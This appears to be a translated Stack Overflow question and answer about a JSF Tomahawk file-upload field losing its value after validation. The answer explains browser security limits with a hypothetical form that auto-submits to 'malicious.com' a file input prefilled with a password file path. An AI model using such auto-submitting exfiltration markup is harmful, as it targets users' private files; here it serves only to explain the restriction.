验证失败后JSF <t:inputfileupload>值丢失</t:inputfileupload>

时间:2011-02-11 17:42:29

标签: jsf file-upload tomahawk

我发现在验证以下代码后,上传文件路径的值会丢失。无论如何,我可以在验证失败后保留该值吗?谢谢。

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

1 个答案:

答案 0 :(得分:4)

那是不可能的。这是HTML的安全限制。您无法预填/保留HTML <input type="file">字段的值。由于JSF只生成HTML,因此JSF无法做很多事情。

想象一下,这种安全限制不存在,网站可以执行以下操作:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>
你知道吗?